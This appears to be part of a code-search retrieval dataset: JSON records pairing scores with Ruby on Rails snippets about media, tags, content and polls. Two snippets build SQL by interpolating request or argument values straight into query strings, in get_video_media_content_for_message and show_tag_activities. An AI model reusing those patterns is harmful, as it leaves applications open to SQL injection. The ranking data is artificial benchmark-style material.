"docid": "29c495febc36ad25e508794c8aa5535a",
"score": "0.51098",
"text": "def index\n @custom_media = ((GeneralMedium.joins(:personal_media_parameters).where('personal_media_parameters.users_id =?', current_user.id)).joins(:custom_medium))\n end",
"title": ""
},
{
"docid": "690672c988c35cb85c2fc1372b8d9dcd",
"score": "0.5106239",
"text": "def get_video_media_content_for_message(message_id)\n begin\n video_sql = \"SELECT * FROM mediacontent WHERE mediacontentid\";\n video_sql += \" IN (SELECT messagemediacontent.mediaid FROM messagemediacontent WHERE\";\n video_sql += \" messageid = #{message_id}) AND ( iPodVideo IS NOT NULL)\";\n video_sql += \" AND (ContentTypeID = 4 OR ContentTypeID = 1) AND (iPodVideo LIKE '%mp4')\";\n video_sql += \"AND iPodVideo!='' ORDER BY RecordDate ASC \";\n message_video_content_data = Immutable.dbh.execute(video_sql);\n\n return message_video_content_data;\n rescue DBI::DatabaseError => e\n Immutable.log.error \"Error code: #{e.err}\"\n Immutable.log.error \"Error message: #{e.errstr}\"\n Immutable.log.error \"Error SQLSTATE: #{e.state}\"\n abort('An error occurred while getting message video content data from DB, Check migration log for more details');\n end\n end",
"title": ""
},
{
"docid": "038fd1d703da1e481f107583c18ac0e7",
"score": "0.5100119",
"text": "def set_static_page_metatags! tags, record\n if record.role == 'home'\n tags['title'] = translate('we_meditate')\n image = MediaFile.find_by(id: record.content_blocks.first['data']['image']['id']) if record.content_blocks.present?\n elsif record.parsed_content.present? && record.parsed_content['mediaFiles'].present?\n image = MediaFile.find_by(id: record.parsed_content['mediaFiles'].first)\n end\n\n tags['og:image'] = image_url image.file_url if image.present?\n tags['og:type'] = 'website' if %w[home contact privacy articles meditations subtle_system].include?(record.role)\n end",
"title": ""
},
{
"docid": "738ee0252dff8a923e84c8f74dbe420c",
"score": "0.50939816",
"text": "def show_tag_activities\n @tag=params[:id] \n @activities=Activity.find(:all,:conditions=>[\"cached_tag_list = '#{@tag}'\"]) \n render :action=>:showtags\n end",
"title": ""
},
{
"docid": "8ec0fc84fee786579ae24760d7867138",
"score": "0.5083893",
"text": "def index\n # if params[:search] and params[:tag]\n # @media_files = MediaBookmark.where( \"lower(topic) like ? or lower(description) like ? or lower(title) like ?\", \n # \"%#{params[:search].downcase}%\", \"%#{params[:search].downcase}%\", \"%#{params[:search].downcase}%\").page(params[:page])\n \n # elsif params[:search]\n # @media_bookmarks = MediaBookmark.where( \"lower(topic) like ? or lower(description) like ? or lower(title) like ?\", \n # \"%#{params[:search].downcase}%\", \"%#{params[:search].downcase}%\", \"%#{params[:search].downcase}%\").page(params[:page])\n # elsif params[:tag]\n # @current_tag = params[:tag]\n # @media_bookmarks = MediaBookmark.tagged_with(params[:tag]).page(params[:page])\n # else\n # @media_bookmarks = MediaBookmark.all.page(params[:page])\n # end\n # @media_bookmarks_topic = @media_bookmarks.group_by { |t| t.topic }\n\n @media_files = MediaFile.all.page(params[:page])\n end",
"title": ""
},
{
"docid": "9d5f60d4da5ae350757653fd91159f97",
"score": "0.5082718",
"text": "def show\n @tags = Motion.tag_counts_on(:tags)\n @comments = Motion.find(params[:id]).comments\n @current_user = current_user\n end",
"title": ""
},
{
"docid": "79b3ddb364023702d5cf3c0cbf2633fc",
"score": "0.5081362",
"text": "def set_custom_media_entry\n @custom_media_entry = CustomMediaEntry.find(params[:id])\n end",
"title": ""
},
{
"docid": "a164234480fec00cc2c4b7dd5c94b7fe",
"score": "0.5074598",
"text": "def find_media(media_u_id)\n\t\t\tif !@media.nil? \n\t\t\t\treturn @media.find { |m| m.u_id == media_u_id }\n\t\t\tend\n\t\t\treturn nil\n\t\tend",
"title": ""
},
{
"docid": "a4233275534a28273c43d6c22b4124d9",
"score": "0.50693256",
"text": "def recent_content(tag_id = nil)\n query = [@user.following_shared_contents.to_sql, @user.following_contents.to_sql, @user.contents.to_sql].map{|v| \" (#{v}) \" }.join(' UNION ')\n res = Content.from(\"(#{query}) as contents\")\n .order('contents.created_at DESC')\n .newsfeed_for(@user.id)\n res = res.joins(:contents_hash_tags).where('contents_hash_tags.hash_tag_id = ?', tag_id) if tag_id\n res = res.page(@page).per(@per_page).includes(:user)\n # res.instance_variable_set(:@total_count, Rails.cache.fetch(\"cache-total-recent-content-#{@user.id}\", expires_in: 1.hours){ res.except(:select, :limit, :offset, :order).count }) #TODO verify hash error\n res\n end",
"title": ""
},
{
"docid": "84ced76077492c826129c40dd3ce1fdc",
"score": "0.5059169",
"text": "def show_tag\n\t\t@tag = Tag.where(:id => params[:tag_id]).first\n\t\t@assets = @tag.assets.paginate :page => params[:page], :order => 'created_at asc', :per_page => 5\n\tend",
"title": ""
},
{
"docid": "e5d4eb29251e6ad3b69dbda9234ecc2e",
"score": "0.5058908",
"text": "def tag\n @tag ||= page.tags(true).detect{|t| t.is_cms_block? && t.identifier == identifier}\n end",
"title": ""
},
{
"docid": "eb678a470d6bee928c78d02e75bd2640",
"score": "0.5057706",
"text": "def tag_attachment\n @tag_attachment = TagAttachment.find(params[:id])\n end",
"title": ""
},
{
"docid": "b5930f002ed6bfe9792cd72546cccb9e",
"score": "0.50569415",
"text": "def show\n medium_id = params[:medium_id]\n @medium = nil\n if !medium_id.blank?\n begin\n @medium = Medium.find(medium_id)\n rescue ActiveRecord::RecordNotFound\n @medium = nil\n end\n end\n @place = Place.find(params[:id]) \n @pictures = @place.media(:type => 'Picture').limit(Medium::COLS * Medium::PREVIEW_ROWS)\n @videos = @place.media(:type => 'Video').limit(Medium::COLS * Medium::PREVIEW_ROWS)\n @documents = @place.media(:type => 'Document').limit(Medium::COLS * Medium::PREVIEW_ROWS)\n render_media\n end",
"title": ""
},
{
"docid": "92aa5b0e52932ebe3de41983d586512d",
"score": "0.5052813",
"text": "def get_list(tag)\n return @playlist if tag.kind_of? MediaSegment\n return @playlist if M3U8Playlist.valid_tag?(tag.name)\n return @headers if M3U8Headers.valid_header?(tag.name)\n\n fail \"UNKNOWN Tag :: #{tag} \"\n end",
"title": ""
},
{
"docid": "2b6fc8cc4b46d7d632a3d3741bf9e0d7",
"score": "0.50426704",
"text": "def parse_attachment_reference_ids_from_content(content)\n ids = []\n doc = Nokogiri::HTML(content)\n doc.css('img').each do |image|\n id = parse_attachment_reference_id_from_url(image['src'])\n ids << id if id\n end\n\n ids\n end",
"title": ""
},
{
"docid": "19ae8f201a7618e3270b3e403ea0d907",
"score": "0.5024126",
"text": "def set_media_attachment\r\n @media_attachment = MediaAttachment.find(params[:id])\r\n end",
"title": ""
},
{
"docid": "a98a484404e0a58044861d8e38ebd98d",
"score": "0.5017265",
"text": "def show\n @provider_comment = ProviderComment.new\n @appointment = @provider.appointments.build\n @provider_comments = @provider.provider_comments.paginate(:page => params[:page], :per_page => 6)\n @provider_attachments = @provider.provider_attachments.all\n\n\nif @provider.provider_attachments.present?\nprepare_meta_tags(title: @provider.nombre,\n description: @provider.productos, \n keywords: @provider.tags\n)\nend\n\n\n end",
"title": ""
},
{
"docid": "ba1a31b10a98ae142c9e0ba39477df77",
"score": "0.50122744",
"text": "def set_media\n @media = Media.find(params[:id])\n end",
"title": ""
},
{
"docid": "6ebdaf400fe7acf08f38ae8c839d2e74",
"score": "0.50082517",
"text": "def show\n @project = Project.find(params[:id])\n @content = MultimediaContent.where(:project_id => @project.id).first\n end",
"title": ""
},
{
"docid": "01a8002e8b1becff6e0a4d297228e94f",
"score": "0.5006762",
"text": "def content_media_url\n return 'admin/content/media'\n end",
"title": ""
},
{
"docid": "facbaac5ca889604e5d3ba992cee375a",
"score": "0.49945337",
"text": "def find_medium(id)\n self.class.get(\"/media/#{id}.json?apikey=#{apikey}\")\n end",
"title": ""
},
{
"docid": "6930978cd9a415a0042668de2c7f8c60",
"score": "0.4993589",
"text": "def show\n if params[:id]\n @content_item = ContentItem.find(params[:id])\n elsif params[:tag]\n @content_item = ContentItem.find_or_create_by_tag(params[:tag])\n else\n HoptoadNotifier.notify(\n :error_class => \"Content Item Error\",\n :error_message => \"Neither a tag nor an id were passed into the params hash\",\n :request => {:params => params}\n )\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @content_item }\n end\n end",
"title": ""
},
{
"docid": "ccced23042b8c21e69f18a981c0ba17f",
"score": "0.49891904",
"text": "def related_content\n list = []\n self.div(:class=>\"relatedcontent_list\").links.each do |link|\n list << link.title\n end\n return list\n end",
"title": ""
},
{
"docid": "c7b7b8305ecdfc9ca43d314e8523fb97",
"score": "0.4981744",
"text": "def livefyre_conversation_metadata(id, title, link, tags)\n tags = tags.join(\",\") if tags.is_a? Array\n\n metadata = {\n :title => title,\n :url => link,\n :tags => tags\n }\n metadata[:checksum] = Digest::MD5.hexdigest(metadata.to_json)\n metadata[:articleId] = id\n post_meta = JWT.encode(metadata, Livefyre.config[:site_key])\n\n {\n :el => \"livefyre_comments\",\n :checksum => metadata[:checksum],\n :collectionMeta => post_meta,\n :siteId => Livefyre.config[:site_id],\n :articleId => id.to_s\n }\n end",
"title": ""
},
{
"docid": "fb382af9909a5cdf2fac111b03979658",
"score": "0.49787",
"text": "def show\n @snippet=Snippet.find_by_id(params[:id])\n @tags= Tag.where(\"snippet_id = :query\",query:params[:id])\n end",
"title": ""
},
{
"docid": "54a77f6cb59f0da99238f2e3ae404855",
"score": "0.49734834",
"text": "def thumb_id\n regex_url = /pictures[\\/][\\d]+[\\/]/ \n string_url = self.content.scan(regex_url).to_s \n regex_id = /[\\d]+/ \n picture_id = string_url.scan(regex_id)[0]\n return picture_id\n end",
"title": ""
},
{
"docid": "54a77f6cb59f0da99238f2e3ae404855",
"score": "0.49734834",
"text": "def thumb_id\n regex_url = /pictures[\\/][\\d]+[\\/]/ \n string_url = self.content.scan(regex_url).to_s \n regex_id = /[\\d]+/ \n picture_id = string_url.scan(regex_id)[0]\n return picture_id\n end",
"title": ""
},
{
"docid": "9bcda837d8c0c0abf9c8443d802af697",
"score": "0.49724743",
"text": "def tags\n @audio_file = AudioFile.find(params[:id])\n @tags = @audio_file.tags\n\n respond_to do |format|\n format.html # tags.html.erb\n format.xml { render :xml => @tags }\n format.json { render :json => @tags }\n end\n end",
"title": ""
},
{
"docid": "b04c5c2950edbe872fb0484c752f351d",
"score": "0.4970182",
"text": "def show\n @photo = Photo.find(params[:id])\n @commentable = @photo\n @comments = @commentable.comments\n @comment = Comment.new\n\n if params[:tag]\n @photos = Photo.tagged_with(params[:tag])\n else\n @photos = Photo.all\n @comment = Comment.new\n end\n\n end",
"title": ""
},
{
"docid": "135e4920f0a93bab83c7730a8d1aadf1",
"score": "0.49637538",
"text": "def media_element\n if correct_integer?(params[:media_element_id])\n @media_element_id = params[:media_element_id].to_i\n @resp = current_user.report_media_element(@media_element_id, params[:content])\n @error = current_user.get_base_error\n else\n @media_element_id = nil\n @resp = false\n @error = I18n.t('activerecord.errors.models.user.problem_reporting')\n end\n end",
"title": ""
},
{
"docid": "3eb77b3a32e01ea3efeafe01cfad1001",
"score": "0.49538633",
"text": "def featured_content_list\n list = []\n self.div(:id=>\"featuredcontent_content_container\").links(:class=>/featuredcontent_content_title/).each do |link|\n list << link.text\n end\n return list\n end",
"title": ""
},
{
"docid": "2b4b66b7f6ead8989a8233541a58291e",
"score": "0.4952472",
"text": "def content\n @content = content_class.published.find(params[:id])\n end",
"title": ""
},
{
"docid": "f41bc11c2f33c95b976b09355c3ebbd2",
"score": "0.49444735",
"text": "def show\n @bag_item = BagItem.new\n # for multiple images in carousel\n @item = Item.find(params[:id])\n @item_images = ItemImage.where(item_id: @item)\n @total_images_size = 1 + @item_images.size\n @tags = @item.tag_items.map(&:tag)\n\n end",
"title": ""
},
{
"docid": "666cafd44d553d6835b6498fb56de043",
"score": "0.49404097",
"text": "def tags_and_categories_list\n list =[]\n self.div(:id=>\"contentmetadata_tags_container\").links.each do |link|\n list << link.text\n end\n return list\n end",
"title": ""
},
{
"docid": "c7575ebb9f41eeb040b6572a309f7fd9",
"score": "0.49400923",
"text": "def get_tag_information\n unless file_size >= id3.length + 64 \n @has_tag = false\n @tag_start = file_size - id3.length\n return\n end\n file.seek(-32-id3.length, IO::SEEK_END)\n tag_footer = file.read(32)\n unless tag_footer[0...12] == PREAMBLE \n @has_tag = false\n @tag_start = file_size - id3.length\n return\n end\n raise ApeTagError, \"Tag has bad footer flags\" unless tag_footer[21...24] == FOOTER_FLAGS && (tag_footer[20...21] == \"\\x00\" || tag_footer[20...21] == \"\\x01\")\n @tag_footer = tag_footer\n @tag_size, @tag_item_count = tag_footer[12...20].unpack('VV')\n @tag_size += 32\n raise ApeTagError, \"Tag size (#{tag_size}) smaller than minimum size\" if tag_size < 64 \n raise ApeTagError, \"Tag size (#{tag_size}) larger than possible\" if tag_size + id3.length > file_size\n raise ApeTagError, \"Tag size (#{tag_size}) is larger than #{MAX_SIZE}\" if tag_size > MAX_SIZE\n raise ApeTagError, \"Item count (#{tag_item_count}) is larger than #{MAX_ITEM_COUNT}\" if tag_item_count > MAX_ITEM_COUNT\n raise ApeTagError, \"Item count (#{tag_item_count}) is larger than possible\" if tag_item_count > (tag_size-64)/ApeItem::MIN_SIZE\n file.seek(-tag_size-id3.length, IO::SEEK_END)\n @tag_start=file.pos\n @tag_header=file.read(32)\n @tag_data=file.read(tag_size-64)\n raise ApeTagError, \"Missing header\" unless tag_header[0...12] == PREAMBLE && tag_header[21...24] == HEADER_FLAGS && (tag_header[20...21] == \"\\x00\" || tag_header[20...21] == \"\\x01\")\n raise ApeTagError, \"Header and footer size does not match\" unless tag_size == tag_header[12...16].unpack('V')[0] + 32\n raise ApeTagError, \"Header and footer item count does not match\" unless tag_item_count == tag_header[16...20].unpack('V')[0]\n @has_tag = true\n end",
"title": ""
},
{
"docid": "f341c4f0fac43b9fdeab22e9d0c64830",
"score": "0.49378422",
"text": "def parse_meta_tags ( field_key )\n value = self[field_key]\n tags = parse_tags value\n return tags\n end",
"title": ""
},
{
"docid": "541c5256468b4e0e463f83ec869a5e36",
"score": "0.49375793",
"text": "def render_custom(tags)\n meta_tags.meta_tags.each do |name, data|\n Array(data).each do |val|\n tags << Tag.new(:meta, :name => name, :content => val)\n end\n meta_tags.extract(name)\n end\n end",
"title": ""
},
{
"docid": "bd2bd62f88f2b8080d34b184865d96bf",
"score": "0.49285668",
"text": "def get_tag_link_list\r\n story_tag_links = StoryTagLink.find :all, \r\n :select => 'id', \r\n :conditions => ['story_id = ?', self.id]\r\n \r\n if story_tag_links.length > 0 \r\n # Tags for this story exist, get the tags\r\n tags = StoryTagLink.find_by_sql ['SELECT tags.name AS name FROM stories LEFT JOIN story_tag_links ON story_tag_links.story_id = stories.id LEFT JOIN tags ON tags.id = story_tag_links.tag_id WHERE stories.id = ?', self.id]\r\n\r\n tag_links = Array.new\r\n\r\n for tag in tags\r\n tag_links.push '<a href=\"#\">' + tag.name + '</a>'\r\n end\r\n\r\n tag_link_list = tag_links * ', '\r\n else\r\n tag_link_list = ''\r\n end\r\n \r\n return tag_link_list\r\n end",
"title": ""
},
{
"docid": "ed3dbf3dec07b670ac49c7e95a34f870",
"score": "0.4922798",
"text": "def datastream_id\n \"content\"\n end",
"title": ""
},
{
"docid": "2b7f910db4498cc3f0015aa855faaa62",
"score": "0.49205595",
"text": "def id3v2_tag\n end",
"title": ""
},
{
"docid": "fc4c3cce4f5421a2f1109f3724247b1e",
"score": "0.49191102",
"text": "def show\n @tag_name = params[:id]\n @tag = Tag.find_by_name(@tag_name)\n if @tag\n # this is a hack and should be replaced with custom SQL queries\n @taggings = @tag.taggings.by_type('Post')\n @news_taggings = @taggings.select {|tagging| tagging.taggable.news? }\n @gossip_taggings = @taggings.select {|tagging| tagging.taggable.gossip? }\n @question_taggings = @taggings.select {|tagging| tagging.taggable.question? }\n end\n end",
"title": ""
},
{
"docid": "e9efd2a519aad3621aae56343195336e",
"score": "0.49155116",
"text": "def set_photo_tag_reference\n @photo_tag_reference = PhotoTagPhoto.find(params[:id])\n end",
"title": ""
}
] |
f1fa0a7344d711dc28f263773b6b22ec | GET /polls GET /polls.json | [
{
"docid": "c4358ee22929f847a614eb68483d7aa6",
"score": "0.5761523",
"text": "def index\n @pending_polls = Poll.where(id: current_user.user_poll.where(answered: nil).pluck(:poll_id))\n @done_polls = Poll.where(id: current_user.user_poll.where(answered: true).pluck(:poll_id))\n end",
"title": ""
}
] | [
{
"docid": "1a0a0eaa90e11a0902abf703be487cad",
"score": "0.7491467",
"text": "def index\n @polls = Poll.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @polls }\n end\n end",
"title": ""
},
{
"docid": "38ab764c8ff72f4871f607ece6c7f553",
"score": "0.70033616",
"text": "def index\n @polls = Poll.all\n end",
"title": ""
},
{
"docid": "38ab764c8ff72f4871f607ece6c7f553",
"score": "0.70033616",
"text": "def index\n @polls = Poll.all\n end",
"title": ""
},
{
"docid": "38ab764c8ff72f4871f607ece6c7f553",
"score": "0.70033616",
"text": "def index\n @polls = Poll.all\n end",
"title": ""
},
{
"docid": "38ab764c8ff72f4871f607ece6c7f553",
"score": "0.70033616",
"text": "def index\n @polls = Poll.all\n end",
"title": ""
},
{
"docid": "38ab764c8ff72f4871f607ece6c7f553",
"score": "0.70033616",
"text": "def index\n @polls = Poll.all\n end",
"title": ""
},
{
"docid": "51593bc118963bcad7cf041a1c66a70a",
"score": "0.68588334",
"text": "def get_polls(opts = {})\n data, _status_code, _headers = get_polls_with_http_info(opts)\n return data\n end",
"title": ""
},
{
"docid": "72ad406f3dc533964efec64bb85ca5ac",
"score": "0.6832554",
"text": "def get_polls_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: MediaPollsApi.get_polls ...\"\n end\n # resource path\n local_var_path = \"/media/polls\"\n\n # query parameters\n query_params = {}\n query_params[:'filter_category'] = opts[:'filter_category'] if !opts[:'filter_category'].nil?\n query_params[:'filter_tagset'] = opts[:'filter_tagset'] if !opts[:'filter_tagset'].nil?\n query_params[:'filter_text'] = opts[:'filter_text'] if !opts[:'filter_text'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'order'] = opts[:'order'] if !opts[:'order'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageResourcePollResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: MediaPollsApi#get_polls\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "cd1a3ebb1e8dc790c5d0d8a5180ad956",
"score": "0.68063426",
"text": "def show\n @poll = Poll.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @poll }\n end\n end",
"title": ""
},
{
"docid": "e32220802775cc15f717c28fa5fce1fe",
"score": "0.6732328",
"text": "def index\n @pols = Pol.includes(:events).all\n respond_to do |format|\n format.json\n end\n end",
"title": ""
},
{
"docid": "18fa880a24022e0e3b167fed6297d973",
"score": "0.67246974",
"text": "def show\n @polling_session = PollingSession.find(params[:id])\n @polls = @polling_session.polls\n authorize! :read, PollingSession\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @polling_session }\n end\n end",
"title": ""
},
{
"docid": "f6789b14d645f25dbf516caa9039837e",
"score": "0.6558982",
"text": "def index\n @question_polls = QuestionPoll.all\n end",
"title": ""
},
{
"docid": "d2c5a5157c49d2851bfafdbf611f27b1",
"score": "0.65130836",
"text": "def index\n @listings_polls = ListingsPoll.all\n end",
"title": ""
},
{
"docid": "476240a4e03c4f92dd99c1c8873d7f2a",
"score": "0.6461747",
"text": "def get_single_poll(id,opts={})\n query_param_keys = [\n \n ]\n\n form_param_keys = [\n \n ]\n\n # verify existence of params\n raise \"id is required\" if id.nil?\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n :id => id\n )\n\n # resource path\n path = path_replace(\"/v1/polls/{id}\",\n :id => id)\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_params(options, query_param_keys)\n if opts[:next_page]\n pagination_params = page_params_load(:get, path)\n query_params.merge! pagination_params if pagination_params\n end\n response = mixed_request(:get, path, query_params, form_params, headers)\n page_params_store(:get, path)\n response\n \n end",
"title": ""
},
{
"docid": "2668a48fe80e200f14529f768ea51bc5",
"score": "0.64610887",
"text": "def index\n @api_v1_poll_responses = Api::V1::PollResponse.all\n end",
"title": ""
},
{
"docid": "0f14cfcc2163b50ef7b5b8fc87c17a05",
"score": "0.6375582",
"text": "def index\n @api_v1_groups_polls = Api::V1::GroupsPoll.all\n end",
"title": ""
},
{
"docid": "2c9d81516f295cf25f657e6825bc6512",
"score": "0.62691605",
"text": "def index\n @polls = current_user.polls.order(id: :desc)\n end",
"title": ""
},
{
"docid": "6896a9621cdda5c440308dc2322b7ab4",
"score": "0.62243456",
"text": "def new\n @poll = Poll.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @poll }\n end\n end",
"title": ""
},
{
"docid": "6896a9621cdda5c440308dc2322b7ab4",
"score": "0.62243456",
"text": "def new\n @poll = Poll.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @poll }\n end\n end",
"title": ""
},
{
"docid": "3455eb54e4b4d05f99978392c8c8c2ad",
"score": "0.6197797",
"text": "def show\n @poll_question = PollQuestion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @poll_question }\n end\n end",
"title": ""
},
{
"docid": "54ed5e3a415495a98aa2864d67a5e608",
"score": "0.61306924",
"text": "def show\n @pol = Pol.includes(:events).find(params[:id])\n respond_to do |format|\n format.html {render :show }\n format.json { render :json => { bio: @pol, events: @pol.events } }\n end\n end",
"title": ""
},
{
"docid": "722784e3dbce5413d2a671bbb78de249",
"score": "0.6085068",
"text": "def index\n @lectures = Lecture.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @lectures }\n end\n end",
"title": ""
},
{
"docid": "51a1cdbb20e5ecd65b6251535549ece4",
"score": "0.6047051",
"text": "def index\n\n if params[:id].present?\n @poll_options = PollOption\n .paginate(:page => params[:page], :per_page => 10)\n .where(poll_id: params[:id])\n .order('id DESC').accessible_by(current_ability)\n else\n redirect_to admin_polls_path\n end\n end",
"title": ""
},
{
"docid": "795aaca8fda67084fa2c28188c2fabb6",
"score": "0.6022103",
"text": "def index\n @pollitems = Pollitem.all\n end",
"title": ""
},
{
"docid": "443256bb44897b0e7908d021a2b2d924",
"score": "0.6016353",
"text": "def index\n @pitches = Pitch.page(params[:page]).order(id: :desc)\n rv = {\n items: @pitches.map {|pitch| pitch.as_json},\n total_pages: @pitches.total_pages,\n }\n api_success rv\n end",
"title": ""
},
{
"docid": "d675e3e05e0c5c67fd2375531d8d3a75",
"score": "0.60079557",
"text": "def show\n @poll_options_set = PollOptionsSet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @poll_options_set }\n end\n end",
"title": ""
},
{
"docid": "cc762e801e3552e046799128553afee1",
"score": "0.59972256",
"text": "def lws_api_get(path)\n # See also catalog_controller for use of ENV['LWS_...']\n url ||= ENV['LWS_API_URL']\n url ||= \"#{ENV['LWS_CORE_URL']}/api\" if ENV['LWS_CORE_URL']\n \n # http://localhost:8888/api/collections\n resp = Net::HTTP.get_response(URI.parse(\"#{url || 'http://127.0.0.1:8888/api'}#{path}\"))\n result = JSON.parse(resp.body)\n end",
"title": ""
},
{
"docid": "4e0eb5e888adb6bf64dc6122d7fc2b38",
"score": "0.5987027",
"text": "def index\n \t@polls = Poll.paginate :order => \"polls.created_at DESC\", :conditions => @conditions, :include => :answers, :page => params[:page]\n end",
"title": ""
},
{
"docid": "cb3ae792ffc22020015fc06a161b8a6d",
"score": "0.59867847",
"text": "def index\n @userpolls = eager_userpoll.where(user_id: current_user.id)\n end",
"title": ""
},
{
"docid": "4597c9f7d3324e5412c0596fb018d063",
"score": "0.5983183",
"text": "def index\n @poll_questions = PollQuestion.all\n end",
"title": ""
},
{
"docid": "a9c62011280b5a8c416a1c7b438c7254",
"score": "0.59385955",
"text": "def index\n @pollbooths = Pollbooth.all\n end",
"title": ""
},
{
"docid": "6084ef40bf697df25feadb8f9b3f0e67",
"score": "0.5888459",
"text": "def getChoices(token, pollnum)\n\t\turl = \"/polls/#{pollnum}\"\n\t\theaders = { 'Content-Type' => 'application/json',\n\t\t\t'Authorization' => 'Bearer #{token}'}\n\t\tresponse = HTTParty.get(url, :headers => headers)\n\t\tresult = response['choices']\n\t\treturn result\n\tend",
"title": ""
},
{
"docid": "20848ccebd25416c787265d63ea44af9",
"score": "0.5822081",
"text": "def index\n @polishes = Polish.all.order(:name).page(params[:page])\n end",
"title": ""
},
{
"docid": "27bb24834d751ceafcfc28adb2cb3eed",
"score": "0.5821745",
"text": "def index\n @prompts = Prompt.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @prompts }\n end\n end",
"title": ""
},
{
"docid": "bab6829437161c121ac5ffd07af1c298",
"score": "0.5811737",
"text": "def get_question_list\n json= RestClient.get(\"http://localhost:3000/questions\")\n JSON.parse(json)\n end",
"title": ""
},
{
"docid": "6f142b05bf7a2f04ed22fed83e07fe37",
"score": "0.5771464",
"text": "def get_polls_and_answers(polls)\n pollArray = []\n if polls.length > 0\n polls.each {|poll|\n pollArray.push({\n id: poll.id,\n title: poll.title,\n question: poll.question,\n answers: poll.answers\n })\n }\n end\n puts pollArray\n pollArray\n end",
"title": ""
},
{
"docid": "67c8af31c2bec9c457b0db2255953ee4",
"score": "0.5766852",
"text": "def index\n @papels = Papel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @papels }\n end\n end",
"title": ""
},
{
"docid": "f5cd1887dcbbc3a9ea3dcfd5bb9f9e40",
"score": "0.5735145",
"text": "def list_poll_choices_in_poll(poll_id,opts={})\n query_param_keys = [\n \n ]\n\n form_param_keys = [\n \n ]\n\n # verify existence of params\n raise \"poll_id is required\" if poll_id.nil?\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n :poll_id => poll_id\n )\n\n # resource path\n path = path_replace(\"/v1/polls/{poll_id}/poll_choices\",\n :poll_id => poll_id)\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_params(options, query_param_keys)\n if opts[:next_page]\n pagination_params = page_params_load(:get, path)\n query_params.merge! pagination_params if pagination_params\n end\n response = mixed_request(:get, path, query_params, form_params, headers)\n page_params_store(:get, path)\n response\n \n end",
"title": ""
},
{
"docid": "4bffaae20dfbe0b0d541411a1ecdd768",
"score": "0.57283825",
"text": "def new\n @poll_question = PollQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @poll_question }\n end\n end",
"title": ""
},
{
"docid": "3ad6a5770f00879ce356dcc78673513d",
"score": "0.5697897",
"text": "def index\n @lophs = Loph.all\n respond_to do |format|\n format.html\n format.json { render json: @lophs}\n end\n end",
"title": ""
},
{
"docid": "8a30fa9109b3963df7c541403cb4fe71",
"score": "0.56896055",
"text": "def polls(options = {})\n options[:filter] ||= []\n options[:filter] << { :field => 'subtype', :operator => '=', :value => 'Poll' }\n surveys(options)\n end",
"title": ""
},
{
"docid": "d6f56edbc4e908a9b74abec196fdb4cc",
"score": "0.56748897",
"text": "def new\n @poll_options_set = PollOptionsSet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @poll_options_set }\n end\n end",
"title": ""
},
{
"docid": "93862d17634ff677eb9de273bd8150a6",
"score": "0.56739926",
"text": "def index\n ok_request current_user, %w(user, opinion_polls, opinion_polls.time_slots)\n end",
"title": ""
},
{
"docid": "c32f116c3b47e8d4e9f0083d8fb65965",
"score": "0.56723726",
"text": "def getPlaylists\n\t\tuserid = current_user.uid\n\t\tplaylists = GetPlaylistMetadataFromSpotify.build.call(session[\"devise.spotify_data\"])\n\t\tPlaylist.sync_playlists(playlists, userid)\n\t\trender json: playlists\n\tend",
"title": ""
},
{
"docid": "5426b424fe55836323b7f1c5ca6314d9",
"score": "0.56672835",
"text": "def index\n @choices = Choice.all\n\n render json: @choices\n end",
"title": ""
},
{
"docid": "9d0dd0078d6c6c3439e339de67a5cd25",
"score": "0.5667106",
"text": "def lws_api_get(path)\n options = {headers: solr_headers}\n response = HTTParty.get(\"#{FlareConfig.lws_api_url}#{path}\", options)\n Rails.logger.info(\"RESPONSE CODE: #{response.code}\")\n if response.code == 200\n result = JSON.parse(response.body)\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "571628becc39a79f3532a22aaf9d05a2",
"score": "0.566232",
"text": "def index\n @pubs = Pub.all\n\n render json: @pubs\n end",
"title": ""
},
{
"docid": "9e4dacf91b49fd06774ba6411d4ae35f",
"score": "0.5644231",
"text": "def index\n\t\t@rooms = Room.order(updated_at: :desc)\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\t\tformat.json { render json: @rooms }\n\t\tend\n\tend",
"title": ""
},
{
"docid": "9eafdf68b9a1f340e7c5ad9bc7a20741",
"score": "0.56404686",
"text": "def show\n @info_polen = InfoPolen.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @info_polen }\n end\n end",
"title": ""
},
{
"docid": "9eafdf68b9a1f340e7c5ad9bc7a20741",
"score": "0.56404686",
